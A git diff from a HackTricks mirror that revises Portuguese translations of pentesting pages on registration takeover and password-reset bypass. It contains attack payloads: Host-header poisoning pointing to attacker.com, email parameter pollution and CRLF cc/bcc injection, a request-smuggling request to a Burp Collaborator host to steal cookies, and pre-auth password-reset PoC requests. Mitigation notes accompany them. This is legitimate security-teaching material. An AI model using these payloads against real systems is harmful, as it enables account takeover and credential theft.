mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/reset-password.md', 'src/pentesting-
This commit is contained in:
parent
8a50d0bba5
commit
6232710c39
@ -1,41 +1,43 @@
|
||||
# Vulnerabilidades de Registro e Tomada de Controle
|
||||
# Registration & Takeover Vulnerabilities
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Tomada de Controle de Registro
|
||||
## Registration Takeover
|
||||
|
||||
### Registro Duplicado
|
||||
|
||||
- Tente gerar usando um nome de usuário existente
|
||||
- Verifique variando o email:
|
||||
- Tente criar usando um nome de usuário já existente
|
||||
- Teste variando o email:
|
||||
- maiúsculas
|
||||
- \+1@
|
||||
- adicione algum ponto no email
|
||||
- caracteres especiais no nome do email (%00, %09, %20)
|
||||
- Coloque caracteres pretos após o email: `test@test.com a`
|
||||
- Coloque caracteres em branco após o email: `test@test.com a`
|
||||
- victim@gmail.com@attacker.com
|
||||
- victim@attacker.com@gmail.com
|
||||
|
||||
### Enumeração de Nomes de Usuário
|
||||
### Enumeração de nomes de usuário
|
||||
|
||||
Verifique se você consegue descobrir quando um nome de usuário já foi registrado dentro da aplicação.
|
||||
Verifique se é possível identificar quando um nome de usuário já foi registrado na aplicação.
|
||||
|
||||
### Política de Senhas
|
||||
|
||||
Ao criar um usuário, verifique a política de senhas (verifique se você pode usar senhas fracas).\
|
||||
Nesse caso, você pode tentar forçar credenciais.
|
||||
Ao criar um usuário, verifique a política de senhas (confira se é possível usar senhas fracas).\
|
||||
Nesse caso você pode tentar bruteforce nas credenciais.
|
||||
|
||||
### Injeção de SQL
|
||||
### SQL Injection
|
||||
|
||||
[**Verifique esta página** ](sql-injection/index.html#insert-statement) para aprender como tentar tomadas de controle de conta ou extrair informações via **Injeções de SQL** em formulários de registro.
|
||||
[**Check this page** ](sql-injection/index.html#insert-statement) para aprender como tentar account takeovers ou extrair informações via **SQL Injections** em formulários de registro.
|
||||
|
||||
### Oauth Takeovers
|
||||
|
||||
### Tomadas de Controle Oauth
|
||||
|
||||
{{#ref}}
|
||||
oauth-to-account-takeover.md
|
||||
{{#endref}}
|
||||
|
||||
### Vulnerabilidades SAML
|
||||
### SAML Vulnerabilities
|
||||
|
||||
|
||||
{{#ref}}
|
||||
saml-attacks/
|
||||
@ -43,35 +45,35 @@ saml-attacks/
|
||||
|
||||
### Alterar Email
|
||||
|
||||
Quando registrado, tente alterar o email e verifique se essa alteração é validada corretamente ou se pode mudá-lo para emails arbitrários.
|
||||
Ao se registrar, tente alterar o email e verifique se essa mudança é corretamente validada ou se é possível alterá-lo para emails arbitrários.
|
||||
|
||||
### Mais Verificações
|
||||
|
||||
- Verifique se você pode usar **emails descartáveis**
|
||||
- **Senhas** **longas** (>200) levam a **DoS**
|
||||
- **Verifique limites de taxa na criação de contas**
|
||||
- Verifique se é possível usar **disposable emails**
|
||||
- **Senha** **longa** (>200) leva a **DoS**
|
||||
- **Verifique rate limits na criação de contas**
|
||||
- Use username@**burp_collab**.net e analise o **callback**
|
||||
|
||||
## **Tomada de Controle de Redefinição de Senha**
|
||||
## **Password Reset Takeover**
|
||||
|
||||
### Vazamento de Token de Redefinição de Senha Via Referenciador <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
|
||||
1. Solicite a redefinição de senha para seu endereço de email
|
||||
2. Clique no link de redefinição de senha
|
||||
1. Solicite a password reset para seu endereço de email
|
||||
2. Clique no link de password reset
|
||||
3. Não altere a senha
|
||||
4. Clique em qualquer site de terceiros (ex: Facebook, Twitter)
|
||||
5. Intercepte a solicitação no proxy Burp Suite
|
||||
6. Verifique se o cabeçalho referer está vazando o token de redefinição de senha.
|
||||
4. Clique em qualquer site de terceiros (eg: Facebook, twitter)
|
||||
5. Intercepte a requisição no proxy do Burp Suite
|
||||
6. Verifique se o header referer está leaking password reset token.
|
||||
|
||||
### Envenenamento de Redefinição de Senha <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
|
||||
1. Intercepte a solicitação de redefinição de senha no Burp Suite
|
||||
2. Adicione ou edite os seguintes cabeçalhos no Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. Encaminhe a solicitação com o cabeçalho modificado\
|
||||
1. Intercepte a requisição de password reset no Burp Suite
|
||||
2. Adicione ou edite os seguintes headers no Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. Encaminhe a requisição com o header modificado\
|
||||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||
4. Procure uma URL de redefinição de senha com base no _cabeçalho host_ como: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
4. Procure por uma password reset URL baseada no _host header_ como : `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
|
||||
### Redefinição de Senha Via Parâmetro de Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
```bash
|
||||
# parameter pollution
|
||||
email=victim@mail.com&email=hacker@mail.com
|
||||
@ -88,58 +90,58 @@ email=victim@mail.com,hacker@mail.com
|
||||
email=victim@mail.com%20hacker@mail.com
|
||||
email=victim@mail.com|hacker@mail.com
|
||||
```
|
||||
### IDOR em Parâmetros de API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||
### IDOR em Parâmetros da API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||
|
||||
1. O atacante deve fazer login com sua conta e ir para a funcionalidade **Alterar senha**.
|
||||
2. Inicie o Burp Suite e intercepte a solicitação.
|
||||
3. Envie para a aba de repetição e edite os parâmetros: User ID/email\
|
||||
1. O atacante precisa fazer login com sua conta e ir para a feature **Alterar senha**.
|
||||
2. Inicie o Burp Suite e intercepte a requisição
|
||||
3. Envie para a aba Repeater e edite os parâmetros: User ID/email\
|
||||
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
||||
|
||||
### Token de Redefinição de Senha Fraco <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
### Token fraco de redefinição de senha <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
|
||||
O token de redefinição de senha deve ser gerado aleatoriamente e ser único a cada vez.\
|
||||
Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos, o algoritmo de geração é fraco e pode ser adivinhado. As seguintes variáveis podem ser usadas pelo algoritmo.
|
||||
O password reset token deve ser gerado aleatoriamente e único a cada vez.\
|
||||
Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos o algoritmo de geração é fraco e pode ser adivinhado. As seguintes variáveis podem ser usadas pelo algoritmo.
|
||||
|
||||
- Timestamp
|
||||
- Timestamp (carimbo de data/hora)
|
||||
- UserID
|
||||
- Email do Usuário
|
||||
- Primeiro e Último Nome
|
||||
- Data de Nascimento
|
||||
- Email do usuário
|
||||
- Primeiro e último nome
|
||||
- Data de nascimento
|
||||
- Criptografia
|
||||
- Apenas Números
|
||||
- Sequência de token pequena (caracteres entre \[A-Z,a-z,0-9])
|
||||
- Reutilização de token
|
||||
- Apenas números
|
||||
- Pequena sequência de token ( caracteres entre \[A-Z,a-z,0-9])
|
||||
- Reuso de token
|
||||
- Data de expiração do token
|
||||
|
||||
### Vazamento de Token de Redefinição de Senha <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||
|
||||
1. Acione um pedido de redefinição de senha usando a API/UI para um email específico, por exemplo: test@mail.com
|
||||
2. Inspecione a resposta do servidor e verifique por `resetToken`
|
||||
3. Em seguida, use o token em uma URL como `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
1. Dispare uma solicitação de password reset usando a API/UI para um email específico, ex: test@mail.com
|
||||
2. Inspecione a resposta do servidor e verifique o `resetToken`
|
||||
3. Então use o token em uma URL como `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
|
||||
### Redefinição de Senha Via Colisão de Nome de Usuário <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
### Redefinição de senha via colisão de nome de usuário <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
|
||||
1. Registre-se no sistema com um nome de usuário idêntico ao nome de usuário da vítima, mas com espaços em branco inseridos antes e/ou depois do nome de usuário. por exemplo: `"admin "`
|
||||
2. Solicite uma redefinição de senha com seu nome de usuário malicioso.
|
||||
3. Use o token enviado para seu email e redefina a senha da vítima.
|
||||
4. Conecte-se à conta da vítima com a nova senha.
|
||||
1. Registre-se no sistema com um username idêntico ao da vítima, mas com espaços em branco inseridos antes e/ou depois do nome de usuário. ex: `"admin "`
|
||||
2. Solicite uma redefinição de senha com seu username malicioso.
|
||||
3. Use o token enviado ao seu email e redefina a senha da vítima.
|
||||
4. Acesse a conta da vítima com a nova senha.
|
||||
|
||||
A plataforma CTFd foi vulnerável a esse ataque.\
|
||||
A plataforma CTFd foi vulnerável a este ataque.\
|
||||
Veja: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
|
||||
### Tomada de Conta Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||
### Tomada de conta via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||
|
||||
1. Encontre um XSS dentro da aplicação ou de um subdomínio se os cookies estiverem restritos ao domínio pai: `*.domain.com`
|
||||
2. Vaze o **cookie de sessões** atual.
|
||||
3. Autentique-se como o usuário usando o cookie.
|
||||
1. Encontre um XSS dentro da aplicação ou um subdomínio se os cookies estiverem com scope para o domínio pai : `*.domain.com`
|
||||
2. Leak o cookie de sessão atual (**sessions cookie**)
|
||||
3. Autentique-se como o usuário usando o cookie
|
||||
|
||||
### Tomada de Conta Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||
### Tomada de conta via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||
|
||||
1\. Use **smuggler** para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)\
|
||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||
2\. Crie uma solicitação que sobrescreva o `POST / HTTP/1.1` com os seguintes dados:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` com o objetivo de redirecionar as vítimas para burpcollab e roubar seus cookies\
|
||||
3\. A solicitação final pode parecer com o seguinte
|
||||
2\. Monte uma requisição que irá sobrescrever o `POST / HTTP/1.1` com os seguintes dados:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` com o objetivo de abrir um redirect das vítimas para burpcollab e roubar seus cookies\
|
||||
3\. A requisição final pode ser parecida com o seguinte
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Transfer-Encoding: chunked
|
||||
@ -151,29 +153,50 @@ Content-Length: 83
|
||||
GET http://something.burpcollaborator.net HTTP/1.1
|
||||
X: X
|
||||
```
|
||||
Hackerone relata a exploração deste bug\
|
||||
Relatórios do Hackerone sobre a exploração deste bug\
|
||||
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||||
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||||
|
||||
### Tomada de Conta via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||
### Tomada de conta via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||
|
||||
1. Crie um payload para o CSRF, por exemplo: “formulário HTML com envio automático para uma alteração de senha”
|
||||
1. Crie um payload para o CSRF, por exemplo: “HTML form with auto submit for a password change”
|
||||
2. Envie o payload
|
||||
|
||||
### Tomada de Conta via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
### Tomada de conta via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
|
||||
JSON Web Token pode ser usado para autenticar um usuário.
|
||||
JSON Web Token might be used to authenticate an user.
|
||||
|
||||
- Edite o JWT com outro ID de Usuário / Email
|
||||
- Verifique a assinatura JWT fraca
|
||||
- Edit the JWT with another User ID / Email
|
||||
- Check for weak JWT signature
|
||||
|
||||
|
||||
{{#ref}}
|
||||
hacking-jwt-json-web-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## Registration-as-Reset (Upsert on Existing Email)
|
||||
|
||||
Alguns signup handlers executam um upsert quando o email fornecido já existe. Se o endpoint aceita um corpo mínimo com um email e senha e não impõe verificação de propriedade, enviar o email da vítima sobrescreverá a senha dela pre-auth.
|
||||
|
||||
- Descoberta: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
|
||||
- Dicas de método: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
|
||||
- Corpo mínimo observado em aplicações reais:
|
||||
```json
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
Exemplo de PoC:
|
||||
```http
|
||||
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||
Host: www.target.tld
|
||||
Content-Type: application/json
|
||||
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
Impacto: Full Account Takeover (ATO) sem qualquer reset token, OTP ou verificação de email.
|
||||
|
||||
## Referências
|
||||
|
||||
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,31 +1,31 @@
|
||||
# Reset/Forgotten Password Bypass
|
||||
# Bypass de Redefinição/Senha Esquecida
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
## **Token de Redefinição de Senha leak via referer**
|
||||
|
||||
- O HTTP referer header pode leak o password reset token se ele estiver incluído na URL. Isso pode ocorrer quando um usuário clica em um link de um site de terceiros após solicitar um password reset.
|
||||
- **Impacto**: Potencial account takeover via Cross-Site Request Forgery (CSRF) attacks.
|
||||
- **Exploitation**: Para verificar se um password reset token está leak no referer header, **request a password reset** para seu endereço de email e **click the reset link** fornecido. **Do not change your password** imediatamente. Em vez disso, **navigate to a third-party website** (como Facebook ou Twitter) enquanto **intercepting the requests using Burp Suite**. Inspecione as requests para ver se o **referer header contains the password reset token**, pois isso poderia expor informações sensíveis a terceiros.
|
||||
- **References**:
|
||||
- O HTTP referer header pode leak o token de redefinição de senha se ele estiver incluído na URL. Isso pode ocorrer quando um usuário clica em um link de um site de terceiros após solicitar a redefinição de senha.
|
||||
- **Impacto**: Possível takeover de conta via Cross-Site Request Forgery (CSRF).
|
||||
- **Exploração**: Para verificar se um token de redefinição de senha está leak no referer header, **solicite uma redefinição de senha** para seu endereço de email e **clique no link de redefinição** fornecido. **Não altere sua senha** imediatamente. Em vez disso, **navegue para um site de terceiros** (como Facebook ou Twitter) enquanto **intercepta as requisições usando Burp Suite**. Inspecione as requisições para ver se o **referer header contém o token de redefinição de senha**, pois isso pode expor informações sensíveis a terceiros.
|
||||
- **Referências**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- Atacantes podem manipular o Host header durante password reset requests para apontar o reset link para um site malicioso.
|
||||
- **Impacto**: Leads to potential account takeover por leak de reset tokens para atacantes.
|
||||
- Atacantes podem manipular o Host header durante requisições de password reset para apontar o link de redefinição para um site malicioso.
|
||||
- **Impacto**: Pode levar a takeover de conta ao leakar tokens de redefinição para atacantes.
|
||||
- **Mitigation Steps**:
|
||||
- Valide o Host header contra uma whitelist de domínios permitidos.
|
||||
- Use métodos server-side seguros para gerar URLs absolutas.
|
||||
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
||||
- Use métodos seguros do lado do servidor para gerar URLs absolutas.
|
||||
- **Patch**: Utilize `$_SERVER['SERVER_NAME']` para construir URLs de redefinição de senha ao invés de `$_SERVER['HTTP_HOST']`.
|
||||
- **References**:
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
## **Redefinição de Senha manipulando o parâmetro email**
|
||||
|
||||
Atacantes podem manipular a password reset request adicionando parâmetros de email adicionais para desviar o reset link.
|
||||
Atacantes podem manipular a requisição de redefinição de senha adicionando parâmetros de email adicionais para desviar o link de redefinição.
|
||||
|
||||
- Adicione o email do atacante como segundo parâmetro usando &
|
||||
```php
|
||||
@ -33,76 +33,76 @@ POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- Adicione o email do atacante como segundo parâmetro usando %20
|
||||
- Adicione attacker email como segundo parâmetro usando %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
- Adicionar o e-mail do atacante como segundo parâmetro usando |
|
||||
- Adicione attacker email como segundo parâmetro usando |
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- Adicionar o e-mail do atacante como segundo parâmetro usando cc
|
||||
Adicionar o email do atacante como segundo parâmetro usando cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- Adicione o email do attacker como segundo parâmetro usando bcc
|
||||
- Adicionar o email do atacante como segundo parâmetro usando bcc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- Adicione o email do attacker como segundo parâmetro usando ,
|
||||
- Adicionar attacker email como segundo parâmetro usando ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
Adicione o email do atacante como segundo parâmetro no array JSON
|
||||
Adicione o email do attacker como segundo parâmetro no json array
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **Medidas de Mitigação**:
|
||||
- Analise e valide corretamente os parâmetros de e-mail no lado do servidor.
|
||||
- Analise e valide corretamente os parâmetros email no lado do servidor.
|
||||
- Utilize prepared statements ou parameterized queries para prevenir injection attacks.
|
||||
- **Referências**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Alterando o E-mail e a Senha de qualquer Usuário através de Parâmetros da API**
|
||||
## **Alterando Email e Password de qualquer User através dos parâmetros da API**
|
||||
|
||||
- Atacantes podem modificar parâmetros de e-mail e senha em requisições da API para alterar credenciais de conta.
|
||||
- Atacantes podem modificar os parâmetros email e password em requisições API para alterar as credenciais da conta.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Medidas de Mitigação**:
|
||||
- Garantir validação estrita de parâmetros e verificações de autenticação.
|
||||
- Implementar logging e monitoramento robustos para detectar e responder a atividades suspeitas.
|
||||
- **Referência**:
|
||||
- **Passos de Mitigação**:
|
||||
- Garanta validação estrita de parâmetros e verificações de autenticação.
|
||||
- Implemente logging e monitoramento robustos para detectar e responder a atividades suspeitas.
|
||||
- **Reference**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Sem Rate Limiting: Email Bombing**
|
||||
## **No Rate Limiting: Email Bombing**
|
||||
|
||||
- A falta de rate limiting em requests de password reset pode levar a email bombing, sobrecarregando o usuário com emails de reset.
|
||||
- A ausência de rate limiting nas solicitações de password reset pode levar a email bombing, sobrecarregando o usuário com e-mails de reset.
|
||||
- **Medidas de Mitigação**:
|
||||
- Implementar rate limiting baseado em endereço IP ou conta de usuário.
|
||||
- Usar desafios CAPTCHA para prevenir abuso automatizado.
|
||||
- **Referências**:
|
||||
- Implemente rate limiting baseado no endereço IP ou na conta do usuário.
|
||||
- Use desafios CAPTCHA para prevenir abuso automatizado.
|
||||
- **References**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Descobrir como o Password Reset Token é Gerado**
|
||||
## **Find out How Password Reset Token is Generated**
|
||||
|
||||
- Entender o padrão ou método por trás da geração do token pode levar à predição ou brute-forcing dos tokens. Algumas opções:
|
||||
- Entender o padrão ou método por trás da geração do token pode levar à previsão ou brute-force dos tokens. Algumas opções:
|
||||
- Based Timestamp
|
||||
- Based on the UserID
|
||||
- Based on email of User
|
||||
@ -110,13 +110,13 @@ POST /api/changepass
|
||||
- Based on Date of Birth
|
||||
- Based on Cryptography
|
||||
- **Medidas de Mitigação**:
|
||||
- Usar métodos criptográficos fortes para geração de tokens.
|
||||
- Garantir entropia e comprimento suficientes para prevenir previsibilidade.
|
||||
- **Ferramentas**: Use Burp Sequencer para analisar a aleatoriedade dos tokens.
|
||||
- Use métodos criptográficos fortes para geração de tokens.
|
||||
- Garanta aleatoriedade e comprimento suficientes para evitar previsibilidade.
|
||||
- **Tools**: Use Burp Sequencer para analisar a aleatoriedade dos tokens.
|
||||
|
||||
## **Guessable UUID**
|
||||
|
||||
- Se UUIDs (version 1) são guessable ou previsíveis, atacantes podem brute-forceá-los para gerar reset tokens válidos. Verifique:
|
||||
- Se UUIDs (version 1) forem previsíveis ou adivinháveis, atacantes podem forçá-los por brute-force para gerar tokens de reset válidos. Verifique:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -124,55 +124,55 @@ uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Medidas de Mitigação**:
|
||||
- Use GUID version 4 para maior aleatoriedade ou implemente medidas adicionais de segurança para outras versões.
|
||||
- **Ferramentas**: Use [guidtool](https://github.com/intruder-io/guidtool) para analisar e gerar GUIDs.
|
||||
- Use GUID version 4 para aleatoriedade ou implemente medidas adicionais de segurança para outras versões.
|
||||
- **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) para analisar e gerar GUIDs.
|
||||
|
||||
## **Response Manipulation: Replace Bad Response With Good One**
|
||||
|
||||
- Manipular respostas HTTP para contornar mensagens de erro ou restrições.
|
||||
- Manipulação de respostas HTTP para contornar mensagens de erro ou restrições.
|
||||
- **Medidas de Mitigação**:
|
||||
- Implementar checagens server-side para garantir a integridade das respostas.
|
||||
- Usar canais de comunicação seguros como HTTPS para prevenir ataques man-in-the-middle.
|
||||
- **Referência**:
|
||||
- Implemente checagens server-side para garantir a integridade das respostas.
|
||||
- Use canais de comunicação seguros como HTTPS para prevenir ataques man-in-the-middle.
|
||||
- **Reference**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Using Expired Token**
|
||||
|
||||
- Testar se tokens expirados ainda podem ser usados para password reset.
|
||||
- **Medidas de Mitigação**:
|
||||
- Implementar políticas estritas de expiração de token e validar a expiração server-side.
|
||||
- Implemente políticas estritas de expiração de token e valide a expiração do token no servidor.
|
||||
|
||||
## **Brute Force Password Reset Token**
|
||||
|
||||
- Tentar brute-forcear o reset token usando ferramentas como Burpsuite e IP-Rotator para contornar limites por IP.
|
||||
- Tentar brute-force no reset token usando ferramentas como Burpsuite e IP-Rotator para contornar limites de taxa baseados em IP.
|
||||
- **Medidas de Mitigação**:
|
||||
- Implementar rate-limiting robusto e mecanismos de lockout de conta.
|
||||
- Monitorar atividades suspeitas indicativas de ataques de brute-force.
|
||||
- Implemente rate-limiting robusto e mecanismos de bloqueio de conta.
|
||||
- Monitore atividades suspeitas indicativas de ataques por brute-force.
|
||||
|
||||
## **Try Using Your Token**
|
||||
|
||||
- Testar se o reset token de um atacante pode ser usado em conjunto com o email da vítima.
|
||||
- Testar se o token de reset de um atacante pode ser usado em conjunto com o e-mail da vítima.
|
||||
- **Medidas de Mitigação**:
|
||||
- Garantir que os tokens estejam vinculados à sessão do usuário ou outros atributos específicos do usuário.
|
||||
- Garanta que os tokens estejam vinculados à sessão do usuário ou a outros atributos específicos do usuário.
|
||||
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Garantir que sessões sejam invalidadas quando um usuário faz logout ou reseta sua password.
|
||||
- Garantir que sessões sejam invalidadas quando um usuário faz logout ou redefine sua senha.
|
||||
- **Medidas de Mitigação**:
|
||||
- Implementar gerenciamento de sessão apropriado, garantindo que todas as sessões sejam invalidadas no logout ou password reset.
|
||||
- Implemente gerenciamento de sessão adequado, garantindo que todas as sessões sejam invalidadas ao fazer logout ou reset de senha.
|
||||
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Reset tokens devem ter um tempo de expiração após o qual se tornam inválidos.
|
||||
- **Medidas de Mitigação**:
|
||||
- Definir um tempo de expiração razoável para reset tokens e aplicá-lo estritamente server-side.
|
||||
- Defina um tempo de expiração razoável para reset tokens e aplique-o estritamente no servidor.
|
||||
|
||||
## **OTP rate limit bypass by changing your session**
|
||||
|
||||
- Se o site usa a sessão do usuário para rastrear tentativas erradas de OTP e o OTP for fraco (<= 4 dígitos) então podemos efetivamente bruteforcear o OTP.
|
||||
- **exploitation**:
|
||||
- simplesmente solicitar um novo session token após ser bloqueado pelo servidor.
|
||||
- **Example** código que explora esse bug ao adivinhar aleatoriamente o OTP (quando você troca a session o OTP também mudará, então não conseguiremos brute-forceá-lo sequencialmente!):
|
||||
- Se o site estiver usando a sessão do usuário para rastrear tentativas erradas de OTP e o OTP for fraco (<= 4 dígitos) então podemos efetivamente brute-forcear o OTP.
|
||||
- **exploração**:
|
||||
- basta solicitar um novo token de sessão após ser bloqueado pelo servidor.
|
||||
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
||||
|
||||
``` python
|
||||
# Authentication bypass by password reset
|
||||
@ -233,9 +233,9 @@ print("[+] Attck stopped")
|
||||
|
||||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||
|
||||
Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
|
||||
Algumas implementações expõem uma ação de mudança de senha que chama a rotina de alteração de senha com skipOldPwdCheck=true e não verifica nenhum token de reset ou propriedade. Se o endpoint aceita um parâmetro action como change_password e um username/new password no corpo da requisição, um atacante pode resetar contas arbitrárias pré-auth.
|
||||
|
||||
Vulnerable pattern (PHP):
|
||||
Padrão vulnerável (PHP):
|
||||
```php
|
||||
// hub/rpwd.php
|
||||
RequestHandler::validateCSRFToken();
|
||||
@ -255,21 +255,34 @@ $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, t
|
||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||
}
|
||||
```
|
||||
Exploitation request (conceito):
|
||||
Solicitação de exploração (conceito):
|
||||
```http
|
||||
POST /hub/rpwd.php HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
Mitigações:
|
||||
- Exigir sempre um reset token válido e com validade limitada, vinculado à conta e à sessão antes de alterar a senha.
|
||||
- Nunca exponha caminhos skipOldPwdCheck para usuários não autenticados; exija autenticação para alterações regulares de senha e verifique a senha antiga.
|
||||
- Invalidar todas as sessões ativas e reset tokens após uma alteração de senha.
|
||||
Mitigations:
|
||||
- Sempre exija um reset token válido e com prazo de expiração, vinculado à account e à session, antes de alterar a senha.
|
||||
